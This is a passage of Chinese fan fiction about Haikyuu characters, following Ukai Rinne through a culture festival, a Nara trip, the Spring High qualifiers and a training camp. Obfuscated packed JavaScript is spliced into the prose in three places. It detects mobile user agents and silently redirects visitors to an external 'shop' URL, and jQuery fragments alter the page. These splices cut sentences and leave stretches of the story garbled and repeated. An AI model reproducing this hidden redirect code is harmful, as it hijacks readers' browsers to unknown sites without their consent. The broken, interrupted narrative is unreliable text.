可惜凛音还是一无所知，甚至因为做了同桌还在最后一排，他们班的同学也没有注意到。 平时上课的时候，凛音虽然自己从来不听课，但她会逼着川西太一去学习，川西上课时会被她吸引注意力，不时就关注她一下。 凛音看在眼里，但她以为这单纯是因为看到同桌上课在玩，自己也忍不住想玩，近朱者赤近墨者黑嘛。对此，凛音很愧疚，她不学是因为以前卷过了，川西却是第一次学啊。于是凛音天天劝学，川西上课走神的时候，只要她注意到，就一定会提醒他。 而且有川西做同桌抄作业也更加方便了，她不想学的那些通修课，作业都可以抄川西的，真不错。而川西一旦想参考她的作业，没门，自己写，好好学习。 川西太一：…… 这么双标的嘛…… 还有一件事让凛音觉得有些苦恼，黑川凪最近的心情似乎不太好，凛音去问了，但她不肯说。 黑川凪纠结了好几天，终于有一天晚上在宿舍上床以后说了出来。 “凛音，你睡了吗？” “还没有呢，怎么了？” “我就是在想，以后的我们会不会因为选择的不同而渐行渐远呢？” 就像因为分科而不在同一个班。 凛音愣住了，思考了一会，语气柔和地说道：“如果未来我们不在领域的话，我们依然是很好的朋友，但像现在这种时时刻刻都能聊天，一起练球，一起吃饭的时光不会再有了。如果你也和我一样走排球这条路的话，或许我们依然会像如今这样。” 黑川凪笑了笑，带着点惆怅：“追随你的脚步，本身就是我的目标，我会努力留在你身边的。” “嗯，那我也会好好看着你的。”凛音在黑暗中笑了笑。 两人谈话之后，黑川凪的心情明显变好了，凛音也是松了一口气。 这学期才开学一周，文化祭的公告还没下来，但所有人已经开始期待起来了，班里在讨论今年要搞什么才能发挥班上有个乌养凛音的优势。 普遍意见还是主题咖啡厅，已经形成路径依赖了。那主题是什么呢，还在激烈讨论。 目前已经排除了凛音穿过的王子和女仆风格，讨论的重点在和服、可爱风洛丽塔和哥特风洛丽塔，三方吵的不可开交，最后跑来问凛音的想法。 现在知道来问我啦？晚了，我随便，你们接着吵吧。 三方没办法，又吵了起来，三种风格的特点历史已经被扒烂了，但还是谁也说服不了谁，最后抽签，凛音亲自来抽。 抽到了哥特风格，很不错，刚好还临近万圣节，干脆整个咖啡厅都搞成哥特万圣风的吧。 终于，文化祭的公告出来了，凛音他们班的计划书差不多都写完了。 理科班的女生还是比较少的，大家最终决定让凛音穿最华丽的特制哥特洛丽塔当吉祥物，其他所有女生穿稍微朴素一点的洛丽塔裙子做服务员，男生们自动揽过来其他所有事宜，包括订购衣服，设计和改衣服，装饰教室什么的，这届理科宅男真的很全能了…… 凛音的衣服需要买一条裙子来改造，而其他裙子只要租现成的就可以了，他们班一大群男生都开始讨论裙子要怎么改，加什么元素，设计图都画了十几张了，但他们看起来乐此不疲。 凛音看着这一幕有些无语，为什么是给我改的裙子，你们这么积极，我反而不想参与…… 二十几个男生每天放学拿着针线往一条黑色长裙上面缝各种配饰、蕾丝，这里裁一块，那里剪一块，花了十几天终于做好了。 而女生那里也在研究妆容，她们的妆容是根据男生那边的最终设计图出来后才开始研究。 尽管衣服不一样，但所有女生的妆容都设计成了一样的。 凛音的化妆水平一般，但毕竟美术比较好，化彩妆也不会太糟糕，但是她的女同学们，技术是一个比一个好，全是大佬。 这段时间放学以后，练球的时间都减少了，大家带着各种化妆品留在班上试妆效，凛音天天被涂一脸黑、一脸紫的，每个妆容还都要拍照记录，最终选出效果最好的那一款。 幸好体育类社团不用参加文化祭，不然凛音就有的烦了，她们运动类社团主要负责运动会事宜。 全校同学忙的热火朝天，终于盼来了十月底的文化祭。 文化祭前一天还是放假来装饰教室，他们班的教室做的很成功，像一座阴森优雅的古堡大厅。同时女生这边开始换衣服、试妆，看看全套效果。 这裙子凛音是穿过的，做的刚刚好。整条裙子……（此处省略一千字裙子细节描写），总之非常好看。 配上非人感的妆容，整个人像一个精致诡异又优雅的人偶娃娃，一出场就引起一阵惊叹。 “好漂亮！” 凛音面对夸奖习惯性露出灿烂笑容。 “快把表情收回去！笑成傻子了啊！”同学们开始抗议。 “……”凛音僵硬地收回了表情。 很快文化祭正式开始了，凛音今天一天就在班上坐着当吉祥物，接受各种合照，来合照的人也会默默点一杯饮料支持一下。 估摸着卖两天，服饰和装修的成本肯定能赚回来。还有意外之喜，凛音妈妈愿意高价把凛音身上穿的全套服装买回来，班里的大家都很高兴，这是对他们手艺的巨大肯定啊！一件衣服赚的钱都不止两天的收入了，不过白鸟泽毕竟有钱人比较多，在乎的都是情绪价值。 乌养凛音后援团一下子多了许多的照片视频材料，摄影部也来了几个人专门拍照，拍的照片要提供给校报，凛音他们班已经成为了这次文化祭的优秀班级，是热门打卡点。 这一整天，凛音就呆坐在这，无聊透了，第二天下午，她终于被班上同学放出去转转了。她就这么穿着奇装异服在校园到处走，成了一道靓丽的风景线。 凛音还是在意个人形象的，听从了同学们的意见，进行了良好的表情管理，正常都保持没有表情的样子，开心了就微微笑一笑，引起一阵惊叹。 路上，她还遇到了牛岛和天童。 “嗨，暗黑女公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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有点尴尬，但她也不是没遇到过更尴尬的情况，她保持了淡定的表情，用手臂遮住了胃部，看起来依然很优雅。 天童朝她竖了个大拇指，赞赏道：“公爵大人看起来很有经验嘛，依然保持了风度呀~” “……”凛音又瞪了他两眼，在暗示她以前有不少尴尬经历是吧，她听懂了奥。 “好啦好啦，你是不是还有个腰封来着，我去给你拿回来吧，你在这不要走哦。”天童贴心地去给她拿回了腰封。 凛音和牛岛在原地等他。 “唉，好尴尬……”在牛岛面前她也没有什么不好承认的。 “为什么尴尬，这不是很正常的情况吗？” “……你说得倒也是，可是我都穿成这样了，肚子突出来好怪哦…” “好吧。” 天童贴心地拎了一个纸袋回来了，手里还拿了一支巧克力冰激凌。 “这个冰激凌我昨天有吃过哦，很好吃呢~送给你，不要不开心了哦~” 凛音一听说有冰激凌，火速去卫生间三十秒装上腰封，遮住了凸起的胃部，跑出来一把拿过冰激凌，几口吃完。 “嗯，确实很好吃呢。”天童的品味果然值得信赖。 凛音和他们一起随便逛了三个小时，然后她就要回班级继续营业了。 热闹的文化祭很快就结束了，大家收拾收拾东西，收个尾也就结束了。 十一月就是研学旅行了，大家的意愿在文化祭之前已经统计好了。凛音和黑川凪一起填了奈良，一个有历史气息的小城市，凛音的朋友里面也只有她们俩个填了这个城市。 大概因为很多人都去过这个知名城市，所以选这个的人不多，比当年去中国的人还少，只有二十几个人。 在奈良，学校为他们订了一座很传统的民宿，女老板有一个玫瑰花园，每个房间干净整洁。老板还擅长各种手工，经常会热情地端出亲自做的小点心送给他们。 他们主要的交通方式是步行，作为研学参观来说最合适的方法，有时会坐坐公共交通。 最令凛音感兴趣的还是奈良的小鹿，上辈子就相当有名了。到了奈良公园，凛音和大家一起，买了几块鹿仙贝。 趁所有人不注意，她偷偷掰了一小块尝了尝，额，不好吃，还是不和小鹿抢了吧。 亲眼目睹的黑川凪：……算了，不说你了。 凛音把鹿仙贝藏在了包里，跟着同伴走过鸟居，踏入了神明居住的领域，见到了神明的使者。 然后被神明的使者追着咬屁股。 没有人顾得上笑话她，因为大家都被神明的使者折腾了一番。 凛音一边跑一边掏出鹿仙贝，终于安抚住了神明使者。 幸好他们人多，现场还有不少游客，凛音这才没有被更多的小鹿纠缠，顺利脱身。 十二天的研学，他们对奈良的参观已经颇为深入了，然后当然就要写研学报告了。 唉，好烦。 44.春高预选赛 研学结束，这一学期的活动也差不多就没有了，对于她们这些体育生来说，比期末更加重要的是春高。 对于白鸟泽女排来说，县内还没有出现太厉害的对手，所以县预选赛一般会让替补混着主力一起上，可以训练一下替补。但男排就不敢这么做了，县内有几个队伍是他们必须要上全主力才能打赢的。 春高的县预选赛是男排女排一起的，男排一场女排一场交替着来，既节约了场地和时间，也给了运动员们休息的时间，一堆比赛两三天比完，所以基本采用三局制。 凛音和队友们坐上了女排部的大巴，来到了体育馆。 体育馆里面人超级多，好多队伍，还有各家的后援会。今年春高，凛音的后援团自发组了一支拉拉队，基本都是吹奏部和合唱部的成员，她们编了一首专门的应援歌，打算在赛场上唱。 不过拉拉队已经被黑川凪提醒过了，不要影响球员发球，不要喝倒彩，只能在己方球员得分时欢呼，在队伍气势低迷或者对方队伍应援时才能唱歌，要做有素质的好拉拉队。当然，要是对手的拉拉队不讲素质，那就比他们更加没有素质。 到了体育馆，凛音和队友们走一块，气场十分强大，引起了全场的注视。 “是白鸟泽那个女武神。”到处都能听到这样的声音。 她的队友们也没有介意自己被掩盖在了她的光芒之下。 凛音一米八六站在中间，黑川凪一米八二站她左边，小林莉亚一米九站在她右边。剩下的人没有那么高，跟在三人后面。十四个高个子脸上没什么表情地走在一块还是很有压迫感的。 她们迎面遇上了乌野的男排，凛音露出了灿烂的笑容，她们的压迫感瞬间消失了大半，凛音和他们打了个招呼，然后视线聚焦在了清水洁子和谷地仁花上。 两个漂亮女经理？！乌野！你凭什么啊！ 凛音立刻去和清水她们打招呼，清水为她和谷地仁花相互介绍了一下，然后凛音就被西谷和田中赶走了。 乌养系心：…… 凛音和哥哥随便聊了几句，就回到队伍做比赛准备了。 反正她不上场，也没什么好准备的，就在体育馆随意走了走，大老远就看到厕所门口站着几个人，日向翔阳、岩泉一、及川彻和牛岛若利，看起来在对峙着什么，岩泉、及川和日向的脸色看起来不是特别好，牛岛还是那副一脸淡定的样子。 唉，凛音大概知道发生了什么，肯定是赛前狠话环节被牛岛的天然呆给克了嘛，她冲过去和两个人打了个招呼，抱歉地笑了笑，把人领走了。 “我是不是给你带来困扰了？” 牛岛不认为自己有说错什么话，他所说的都是他真心认为的，如果让别人不高兴了，他道歉。但是他会为了自己的行为给凛音造成困扰而感到难受。 凛音有些诧异，又有些感动，牛岛这么不在意他人感受的人竟然这么在意她的感受，凛音露出了蛋花眼。 “呜呜呜，若利终于懂事了，不过我真的没有觉得困扰哦。我很喜欢若利的有话直说，只是有时候真话伤人嘛。你不擅长处理这个，交给我和天童就好了。” 牛岛闻言，放下心来，温柔地对她微笑了一下。 远处的日向和影山看到这一幕很惊讶。 日向眼睛瞪得大大的，拉了拉影山的衣服，惊讶地说：“喂，影山，你看到了吗？牛若竟然会这样子笑！乌养前辈太厉害了吧。” 影山故作淡定的回复：“大惊小怪，他们是青梅竹马，不是很正常吗？” 两人很快就顾不上想这个问题了，因为比赛要开始了，乌野还没有资本小瞧任何一个对手。 任何小瞧对手的人都会付出代价的。 凛音这几场基本不用上，坐在下面看着队友打。 她无聊的翻了翻男排的赛程，大概估了一下，应该有一场是青叶城西打伊达工业。她一直比较在意伊达工业这个队伍，拦网强队很克制白鸟泽这种强攻队伍。 正想着，她的目光无意识地在观众席上扫过。 等等，爷爷？！ 凛音朝爷爷挥挥手，爷爷对她笑了笑。 比赛赢了之后，凛音离队去找爷爷。 “爷爷，你来怎么不和我说啊？是不是也没告诉哥哥啊？” “哎呀，有什么好说的，我这么大一个人害怕走丢不成。” 凛音叹了口气，她还能管住她爷爷不成，但看球也是一个耗费精力的过程，尤其是对于他这样的前名教练来说，现在爷爷年龄大了，让凛音很担心。 “那爷爷不要来看我的比赛了，这次县预选赛我不上场的。” “小凛音长大了啊，都这么厉害了……行了，我知道了，不看你比赛了，爷爷要去看乌野的比赛了。” “我陪爷爷一起去吧。” “不用，你好歹也是个参赛运动员，哪能要你陪我？爷爷自己能行的。” “那好吧，你自己注意一点，有事找我们。” 凛音和爷爷告别，回到了队伍，给要上场的队员一点建议，加加油。 凛音还是在休息时间去看了青城和伊达工的比赛。 她默默坐在了场馆的一个角落，没被别人注意到。 伊达工的拦网三核心确实很出色，可惜有人经验不足，被老谋深算的及川抓到了空子，遗憾输给青叶城西。 凛音看完了比赛，心里有点凝重，宫城县的未来绝对有伊达工的一席之地，白鸟泽男排的未来在何方呢？牛岛这届毕业以后还有多少人能撑起白鸟泽呢？ 白鸟泽依然是县内强校，但不再会像今天一样，出于统治地位了。 对于青城，她倒是没那么担心，及川毕业以后青城的实力肯定会下滑一点。 下一场，乌野对战青叶城西。 凛音还是偷偷跑去看了，观众席上还有她爷爷，不过凛音没有找爷爷一起。 一般来说，人在看比赛时总是避免不了在情感上倾向于一方，要么想要其中一队赢，要么想要其中一队输。一旦比分不符合心理预期，就会非常紧张，就算符合自己的预期，也会害怕下一秒战况大变。倾向的程度越高，人就会越紧张。 而凛音在乌野和青城之间当然是倾向于乌野赢的，而且是相当希望乌野赢。于是自然地，这比赛看得比凛音自己上场打还要紧张。 可恶啊，这比分怎么追的那么紧！凛音的心揪成一团，很想现在就离开，到时候直接看结果，又舍不得错过这么精彩的比赛。 这次比赛，青城上了一个看起来像不良的少年，应该是一年级选手，进攻能力很强，可惜看起来磨合还是不太够，及川彻第一次在正式赛场上和这个少年配合，还能用好他也是很厉害了。这应该就是青城这次的秘密武器了，可惜，乌野的进步太快了。 她一边看比赛，一边思考，一边纠结要不要离开，纠结了好久，最终还是没舍得，渐渐地看完了比赛，第三局的最后，凛音心都快跳出来了。 最后一分，及川看穿了对手的想法，却没能接到最后一球。 凛音一边为乌野的胜利感到高兴，一边为及川的命运感到难过。 才华要靠努力，球感要靠打磨。 及川的才华终于开花了。 及川以后会去哪里呢？凛音不知道。 但她相信凭借及川的能力，最后一定会如愿以偿的。这是一个祝福。 凛音没有去看双方的赛后反应，最后一分拿下后，就直接离开了，明天的男排决赛将是白鸟泽对战乌野。 她曾经去乌野打过排球，给乌野的队员留下了一定的对抗大炮型选手的经验，于是凛音提醒了不做一点赛前准备的白鸟泽男排，让他们不要轻敌，还把自己的后援会借给了他们。 不过他们还是没有太在意乌野，他们只是奇怪这次的决赛不是和青城打，他们相信自己能够碾压青城，自然是也能碾压和青城不相上下的乌野。 凛音叹了一口气，提醒了一遍就行了，看来男排那边并没有意识到自己的轻敌。 第二天，凛音继续跟队去体育馆，这一场就是女排的宫城县决赛了，女排在男排前面比，她本人还是不需要上场，让替补来上。 双方打得有来有回，一直打到了第五局，焦灼的比分让教练有点坐不住了，终于把凛音放了上去。 于是，第五局结束得非常快，15：8结束。 震惊全场，难怪不把她放出来呢，这也太…太强了吧，不亏是上过奥运会的。 拿到冠军要等男排决赛结束后才能一起颁奖，而男排的比赛马上就要开始了。 凛音怀着复杂的心情，背着自家后援会，坐在了观众席的一个角落里，旁边也有个乔装打扮的男的，估计也是背着什么人来看比赛的吧，便没有在意。 直到—— “小白鸦也来看比赛啊。” ？？？ 凛音仔细一看，哦，原来是及川彻啊。 “要是能两边都输就好了。”及川彻不爽地说。 “要是能两边都赢就好了。”凛音也很遗憾。 今天的及川意外地有些严肃，他压低了帽檐，半晌没说出一句调侃的话，正好凛音也没心情和他打打闹闹，这场比赛比乌野打青城那场更令她揪心。 果然，人都是有偏向的，凛音自然是偏向朝夕相处的白鸟泽的。 越是在意，越是难以表现得淡定。 凛音比赛的全过程都很紧张，根本不和旁边的及川交流，旁边的及川也看出了她的紧张，但他自己的心情也不算好，也没管她。 后来，岩泉一看到了及川彻，他诧异地看了一眼凛音，然后坐在了凛音旁边。 凛音暂时从比赛的紧张中脱离出来，心想你们俩个把我夹中间算什么事。 但比赛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16901784|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的后期凛音还是觉得放松了一点，一左一右在给她做解说，她也会时不时插两句话。 直到比赛进入到了第五局，气氛很凝重，压的凛音都有些喘不过气了，赛场上双方都开始体力透支了。 凛音的心随着加时开始，彻底悬起来了，她没有再和旁边的及川和岩泉说话了。 她坐在座位上，双肘撑在大腿上，两手不安地交织着。 突然，凛音看穿了什么，露出了和天童一样有些慌张的表情。 “太一！！！”凛音忍不住喊到。 代表着最后一分的球落地了，凛音的心也跟着落地了，她在观众席上看的很清楚，川西的拦网让后方露出了一个大空档，被已经能看到高处风景的日向抓住，连续拿分，结束了漫长的加时。 岩泉一直接离开了，及川彻在原地坐了一会，不知道想了什么，他走之前看了凛音几眼，她的脸上空茫茫的。 及川沉默了一下，留下一句“那个怪物也是会输的”，然后离开了。 凛音脑子里一片空白，她曾经那么从容地分析过白鸟泽可能会输给乌野，可是为什么真的输给了乌野的这一天，她那么难以接受？ 五色、川西、白布……他们都没忍住哭了出来，也一起引爆了凛音的情绪，凛音后知后觉，趁着场上的大家没有注意，一个人跑去了卫生间，在隔间里大哭了起来。 然后收到了天童的短信，一般这个时候凛音都会去他们的活动室来看他们，尤其是输掉比赛的时候。 这个时间她还没来，让大家都有点担心，于是发来了短信。 凛音匆匆回复：有点事，马上就到。 她飞速洗了一下脸，擦干眼泪，整理了一下仪容，一路跑到了活动室。 可是哭过的痕迹是没办法遮掩的。 “怎么又哭鼻子了？”濑见分给她一点关心。 “英太还不是哭了嘛。”凛音都看见了，就是因为他们几个哭了，她的情绪才彻底爆发的。 濑见不说话了，尴尬地摸了摸鼻子。 “别伤心了，我们赢了这么久，也够了。”天童有些惆怅地安慰了一句。 凛音没有释放完全的情绪又爆发了，眼泪大颗大颗地掉下来，她立刻转过身，蹲下来。 牛岛把脖子上的汗巾拿了下来，放在了一边，蹲在了她的左边。 他平静地说：“对不起，是我没有终结比赛。” “明明是我失误太多了，才会被乌野连追好几分，对不起。”五色哭着道歉。 “这不是某个人的错啦…你们不要自责…”凛音一边哭一边还顺手安慰他们一嘴。 天童也蹲到了她的右边，给她递了一包纸巾，无奈地说：“小凛音的心比看上去要软好多。” 大平默默走过去，把周围的杂物清理一下，怕他们起身的时候被绊倒。 “那个……眼泪的含盐量是0.9％，所以哭一场相当于……额，算了。”山形试图缓和气氛，但失败了。 白布和川西站在一起，看着地上蹲下的三个人，也是眼睛红红的，抿住嘴。 凛音哭够了，又恢复了往日的活力。 “好了，还要领奖呢，都收拾收拾走吧。”凛音微笑起来，然后回到了女排那边的活动室。 队友看到她的样子吓一跳，赶紧从后援会那里借了一点化妆品，给她遮一下，然后才去领奖。 领奖结束后，天童和牛岛躺在体育馆里面做拉伸，凛音也躺在牛岛旁边，但她没做拉伸，就单纯躺着，听天童和牛岛说话。 说实话，这场比赛凛音也看出来，牛岛的注意力被日向吸引了，他想证明自己比日向强，难得他也有这么幼稚的时候。 “人的动力往往不就是源于幼稚吗？” “阿觉总是能冒出金句呢…”凛音有些惆怅地随意说了一句。 “哼哼。高中毕业以后我就不玩排球了，我会一边看着你们在电视里大出风头，一边向别人吹嘘你们一个是我的铁哥们，一个是我的共犯。 你们可要好好加油啊。等热情大陆为你们做专访的时候，我可以以曾经队友的身份和练习搭档的身份接受采访。” “好。”*2 回到学校以后，女排的比赛还有后续，所以也就没有告别仪式了。 男排的告别仪式就发生一个普通的检讨会之后，那天凛音刚好在现场。 牛岛第一次叫住了大家，他有话说。 他对部里一二年级的每个部员都叮嘱了一番，一直到最后一个五色工。 牛岛没有像对待其他部员那样，说出他需要改进的地方，只是一句简单的“拜托你了”。 面对出乎意料的来自超级王牌的认可，五色哭了起来，天童跑过去安慰他，凛音站在旁边，和大家一起微笑着看这一幕。 “凛音，明年帮我照看一下大家。” “是。” 45.强化集训 这次男排失利并没有给白鸟泽全校带来太多的风波，毕竟女排依然屹立。 大家的情绪在当天也处理得差不多了，毕竟只是一场比赛，没什么输不起的。 令人意外地是，鹫匠教练决定聚集整个宫城县有潜力的一年级选手来白鸟泽参加集训，白鸟泽的三年级也会来当陪练。 凛音收到了影山的消息，他被邀请去了国青队集训。 凛音回复：太好了，恭喜。世界终将看到影山飞雄。 影山不知道为什么，已读不回。 过了好久才回复一个“谢谢前辈”。 女排部的黑川凪和小林莉亚也被国青队邀请参加集训了。 这次白鸟泽集训的名单已经出来了，乌野竟然只有月岛萤，日向呢？ 凛音有些奇怪，再一看完整的名单，没有长得矮的，这下懂了，鹫匠教练的老毛病了，凛音自己也能猜出一点原因。 很快学期要结束了，白鸟泽集训也要开始了。 集训第一天有的学校还没放假，参加集训的人是一边上课一边来集训的，后面才会在白鸟泽合宿。 第一天凛音和其他的二三年级都没有去看，但五色工传来消息说，有个没被邀请的人也过来了，教练竟然没把他赶走，而是允许他留下捡球。 这是凛音听来的不知道几手的消息了，也不知道是谁这么勇敢，这么敢于抓住机会。 很快，第二天下午凛音就知道是谁了，她哥给她打了电话，拜托她照顾一下偷偷过来的日向翔阳。 啊，那没事了。 不过这件事也让凛音对他刮目相看，就算被别人觉得是死皮赖脸也不放过变强大的机会。 她上辈子大学就是这么练过来的，一开始跟在学姐后面捡球，慢慢地开始上场，最后领导队伍。那一年的捡球经历是她排球生涯初期最宝贵的经验。 下午，凛音跟着牛岛、天童他们五个一起去了集训的体育馆。 很多人凛音都不认识，她就认识乌野的月岛萤和日向。 按理来说只有白鸟泽男排高三的才能过来，但凛音直接无视规则，嬉皮笑脸地对鹫匠教练说她来照顾自己的一个弟弟。 鹫匠教练一听就知道指的是日向，无奈地摆摆手，随她去了。 凛音过去和月岛打了个招呼，带走了日向。 “你真是长本事了，竟然一声不吭地就过来了，你们教练和老师很担心的。”虽然凛音欣赏他主动把握机会的行为，但确实很令人担心，该骂。 日向低下了头。 凛音知道，他只是想变强。 “我们学校是不是不给你供饭，也不提供住宿啊？” “是。但是没关系，我可以自己解决的！”日向知道自己已经麻烦了别人一次，不能再麻烦别人一次了。 凛音知道他在想什么，强硬地说：“训练结束跟着我，我带你去吃饭，不用怕麻烦我，你们教练会还人情的。” 还鸡毛人情，这点小事麻烦彼此根本就不叫事。 “你家在哪里？” 日向报了个地点。 “唔，那有点远了，冬天晚上还那么冷，你和家人说一下吧，我来给你安排住宿。” 日向推脱了一番还是接受了。 “凛音前辈也认识他吗？”五色不知道什么时候就站到他们旁边了，看到前辈这么关心日向，感觉酸酸的，自己家的正牌学弟都没有这种待遇呢。 “哦，我哥在乌野当教练嘛。” 五色还没来得及说什么，就被叫过去打练习赛了。 日向作为捡球员，没有资格参与练习赛。 天童看他不参与练习赛有点担心，怕他被欺负了，就上去问了问情况，了解了情况之后天童才放下心来，正常地对待日向。 中途，凛音担心日向接受不了捡球，于是特意去安慰他两句。 “不要小看捡球哦，在捡球的时候带上脑子多观察，对你的基础有很大的提升的。” 今天的训练结束后，凛音带着日向去白鸟泽食堂吃饭，所有来参与集训的人都没有这种待遇，对着日向露出了羡慕的眼光。 “你想和若利他们吃饭吗？还是我单独陪你？” 日向的眼睛在听到“若利他们”几个字时，骤然亮了起来。 他身体前倾，不假思索地回答：“想！我想和牛岛前辈他们一起吃饭！拜托了，乌养前辈！” 声音带着渴望和急切，日向想更了解一点这些高手的日常，看看能不能学到一点东西。 “果然。走吧，我先带你去打饭，想吃什么随便选。” “哇哦，好多菜！” 日向点完以后要给凛音付钱。 凛音笑着拒绝了：“不用了，我哥会给我报销的，毕竟是他的队员。” 当凛音领着明显有些局促的日向走向牛岛他们常坐的角落时，那张大餐桌出现了短暂的寂静。 天童第一个反应过来，脑袋一歪，脸上是毫不掩饰的兴味：“哇哦，今天有可爱的客人呢~是小凛音捡到的迷路小乌鸦吗？” 牛岛抬头看了一眼，平静地点了下头，算是打过招呼，目光在日向紧张的脸上停留了一秒，便继续对付盘中的食物。 “这是日向翔阳，乌野的，我哥的队员。你们之前打过比赛的。”凛音简单介绍，按着日向的肩膀让他在自己旁边的空位坐下，“他接下来一阵子会跟我们一起吃饭。” “大、大家前辈好！我是日向翔阳！请多指教！”日向立刻弹起来，又是一个标准的九十度鞠躬，声音洪亮得让隔壁桌都侧目。 “……”濑见英太嘴角抽了抽，心想不用这么大声吧，何况我们都认识你。 随及，日向好像意识到自己的不妥，脸唰地红了，讷讷地坐下，腰杆却挺得笔直，双手规规矩矩放在并拢的膝盖上，眼睛不受控制地往牛岛的餐盘上瞟。 他有观察到一些细节：牛岛若利吃饭速度很快，但咀嚼得很认真，盘子里蛋白质和碳水搭配均衡；天童觉会用灵活的指尖把玩一下餐勺再开动，说话时眼睛总是弯着，吃的非常非常少；濑见英太和大平狮音会聊几句训练内容，语气很日常；山形隼人讲了句冷笑话，只有天童捧场地笑了…… 而乌养前辈，哇，吃的这么多。 天童和凛音格外地关照他一点，主动挑起话题什么的，不让他太过尴尬。 晚饭快结束时，凛音提到了日向的住宿问题。 “若利是一个人住吧，让日向去你宿舍住一下吧，不然就让他去我家了。” 凛音话音落下，餐桌上的空气凝滞了半秒，随即被天童觉一声夸张的倒吸凉气打破。 “噗——！！！” 濑见英太直接把嘴里的味噌汤喷回了碗里，咳嗽起来。山形隼人拍着他的背，自己也是一脸见了鬼的表情。 凛音嫌弃地看了一眼濑见的碗，“咦~”。 “小凛音……” 天童放下勺子，双手撑住下巴，稀奇地说道，“你刚才，是提出了一个震惊宫城县的意见对吧？让那个小怪物，住进牛岛若利的……私人宿舍？” 一直安静吃饭的牛岛若利本人，此刻也停下了动作。他先是看了一眼凛音，眼神里充满困惑，仿佛在确认自己是否听错了。然后，他转向嘴巴微张、灵魂似乎已经出窍的日向翔阳，平静的目光在他脸上停留了两秒。 “可以。” 牛岛点了点头，语气平常得像在同意借出一支笔。“我宿舍有空位。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906003|190768||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “可以？！” 这次是濑见和山形异口同声地喊了出来。他们看向牛岛的眼神，仿佛他刚才宣布的是明天排球将改用方形球。 “牛岛前辈！真、真的可以吗？！” 日向终于从石化状态解除，整个人像弹簧一样从座位上弹起一点，脸涨得通红。能和牛岛若利一起同住一个屋檐下？这已经超出了他最大胆的幻想范畴。 大平狮音是最先恢复镇定的，他温和地笑了笑，看向凛音：“凛音，你是认真的啊。这安排……倒是确实解决了问题。” 他理解这是最务实高效的解决方案，只是…… “哇啊——” 天童已经兴奋地拍起了桌子，“若利，小不点，你们一定要好好相处哦~” 他的脸上写满了“有好戏看了”的期待。 凛音对众人的激烈反应早有预料，她笑眯眯地看向风暴中心的两人：“看，若利答应了。日向，你今晚就跟他过去吧，洗漱用品和换洗衣物我会让人准备好送过去。记得，” 她意有所指，“多问，多听，多学。这样的机会，可没有第二次。” “非、非常非常感谢！牛岛前辈！乌养前辈！我会努力不打扰您的！我会好好学习的！” 而牛岛若利，只是在众人的注视下，再次平静地点了点头。 “嗯。走吧。” 这一次比赛之后，虽然是乌野赢了，但日向承认了牛岛的强大，他想从牛岛身上学到一些什么。 经过短暂的室友经历，他发现牛岛这人相当老实，有问必答，总是真诚地说实话，被冒犯到了也不介意。 日向开始思考，之前牛岛挑衅自己的场面是不是有什么误会？ 如果凛音在场，会告诉他不存在的，牛岛最气人的地方就是他有话直说，不撒谎。 日向是个很难让别人讨厌的人。 五色一开始看他很不爽，但有一天日向真诚地夸奖了他的直线球，并向他请教，五色的尾巴瞬间翘起来了，又爽了。 身边或是高冷的、莫名其妙的学长，还有一个打他一棒子再给颗枣的学姐，五色久违地感受到了这样纯粹的备受宠爱的感觉。 五色表面不乐意实则很高兴地给日向透露了经验。 凛音看着他傲娇的样子，有意思极了，她笑着和天童一起讨论。 那天，排球笨蛋日向突然想起来了，问了凛音一个问题：“前辈那么厉害，怎么没有去国青队集训呢？” 提到国青队的集训，日向的语气带着一丝他自己都没有察觉到的失落。 “这个啊，因为我是国家队的成员，不需要参加国青队的训练。” 日向瞪大了双眼，赞叹道：“好厉害！” “这没有什么，如果你和我一样从五个月就开始抱着排球，一岁就开始练球，拥有家里无限制的支持，你也能做到这个程度的。”还有她上辈子四年的经验技术。 如果没有上辈子的优势，她现在在女排的地位大概和牛岛在男排的地位一样。 “用若利的话来说，我们已经尽了后天的最大努力，剩下的都是运气。 我的排球天赋和身体天赋来自运气，我的家庭条件来自运气，我的实力被注意到被认可也是因为运气……” 凛音对她拥有的这些都心存感恩。 “不是的，前辈！运气把排球送到了前辈的手上，可是是前辈自己决定拥抱排球的！ 前辈和我一样，心里装满了排球，才能变成现在这样的。 所以我也感谢运气把排球送到我面前，而剩下的全部都是热爱！” 凛音也笑了：“是啊，一切都源于热爱啊……” 白鸟泽的这次集训一共就没几天，很快就结束了，乌野男排和白鸟泽女排要去东京参加全国大赛了。 46.春高冠军 这是白鸟泽女排不知道第几次上全国赛场了，但无论多少次，面对这么多观众，多少还是会有些紧张。 不管选手会不会受到场外因素的影响，体育竞技是需要观众的，不然哪来的钱。 所以学会如何应对场外压力也是运动员的必修课，没办法应对场外压力的运动员绝对是走不远的。 以凛音目前的表现来看，观众的反应对她几乎没有影响，天生运动员的料子。 白鸟泽女排的其他人因为经历过多次进全国比赛，对场外因素也适应得也很好，这将成为她们宝贵的经验。 高中女排的攻手里，已经完全没有人能超越凛音了，她是公认的日本高中女排第一人，甚至是世界高中女排第一人。 但排球是六个人的游戏，凛音不会认为自己随便打打就能夺冠，她们仍然要拼尽全力，研究对手，白鸟泽男排就是最好的前车之鉴。 